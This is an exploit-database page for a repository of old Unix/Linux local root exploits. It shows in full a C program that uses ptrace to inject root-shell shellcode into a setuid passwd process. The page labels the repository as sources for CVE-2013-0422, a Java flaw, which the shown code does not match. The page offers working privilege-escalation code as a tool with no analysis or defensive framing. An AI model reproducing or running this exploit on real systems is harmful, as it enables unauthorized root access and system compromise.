Exploit databaseDownload repository ZIP
GH-6b6057e48941ec7e0988d1ab08178590
2402221619/tool
Sources for CVE-2013-0422
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files180
2402221619/toolRevision e1de8defa93c
- ↑..Parent directory
- 04
- 05
- 06
- 0x82-Remote.tannehehe.xpl.c
- 1.c
- 2.4.c
- 2.6.13_17_0_2004
- 2.6.13_17_3_2006
- 2.6.13_17_4_2011.sh
- 2.6.9-22.sh
- 2.6.x_logrotate_2031
- 2k
- 3384
- 3384 (Apache 1.3.331.3.34 CGI TTY Local Root Exploit (Debian Stable))
- 48local
- 6.9.sh
- 7.1
- @C=M;O=A
- @C=N;O=A
- @C=S;O=A
- AIX
- BSD3.6_localroot
- CrOn
- Descr.WD3
- Infecting Elf Binaries to Gain Local Root Exploit
- Linux Kernel 2.4.x 2.6.x_252520uselib()_252520Local_252520Privilege_252520Escalation_252520Exploit
- Linux kernel mremap.c
- Solaris 10 libnspr LD_PRELOAD Arbitrary File Creation Local Root Exploit
- afd-expl
- alsaplayer-suid
- ath0
- bindpar.x
- bindtty.c
- binfmt_elf.c
- bsd
- bsdlocal
- buffer
- buffer.sh
- cPanel 10.8.x cpwrap lrx
- chown.c
- clean
- code
- compress
- compress_expl.c
- cron.sh
- crond
- crontab.c
- cw7.3
- default.htm
- dhcp-expl.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
提权利器/linux/Spaciel/kernel.c
C · 3,111 bytes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/ioctl.h>
#include <linux/user.h>
#include <limits.h>
#include <unistd.h>
#include <signal.h>
#include <wait.h>
#include <fcntl.h>
#define VICTIM "/usr/bin/passwd"
#define TARGET "/usr/bin/newgrp"
char sc[]=
"\x6a\x17\x58\x31\xdb\xcd\x80\x31"
"\xd2\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x8d\x42\x0b\xcd\x80";
void ex_passwd(int fd)
{
char z;
dup2(2, 1);
if (read(fd, &z, 1) <= 0) {
perror("Read:");
exit(1);
}
execl(VICTIM, VICTIM, 0);
perror("Execl");
exit(1);
}
void insert(char *us, int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "Exec: %s %i\n", us, pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
int insert_shellcode(int pid){
int i, wpid;
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) {
perror("PTRACE_GETREGS");
exit(0);
}
for (i = 0; i <= strlen(sc) + 1; i += 4)
ptrace(PTRACE_POKETEXT, pid, regs.eip + i,
*(unsigned int *) (sc + i));
if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
exit(0);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, NULL, 0);
if (wpid == -1) {
perror("WaitPid");
exit(1);
}
} while (wpid != pid);
return 0;
}
int
main(int argc, char *argv[]){
int res;
int pid, n;
int pipa[2];
if ((argc == 2) && ((pid = atoi(argv[1])))) {
return insert_shellcode(pid);
}
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("Fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}
res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("Attach");
exit(1);
}
res = waitpid(-1, NULL, 0);
if (res == -1) {
perror("WaitPid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("Cont");
exit(1);
}
fprintf(stderr, "Attached\n");
switch (fork()) {
case -1:
perror("Fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(argv[0], pid);
do {
char c;
n = read(pipa[0], &c, 1);
} while (n > 0);
if (n < 0)
perror("Read");
exit(0);
default:;
}
close(pipa[0]);
dup2(pipa[1], 2);
close(pipa[1]);
setenv("LD_DEBUG", "libs", 1);
execl(TARGET, TARGET, 0);
return 1;
}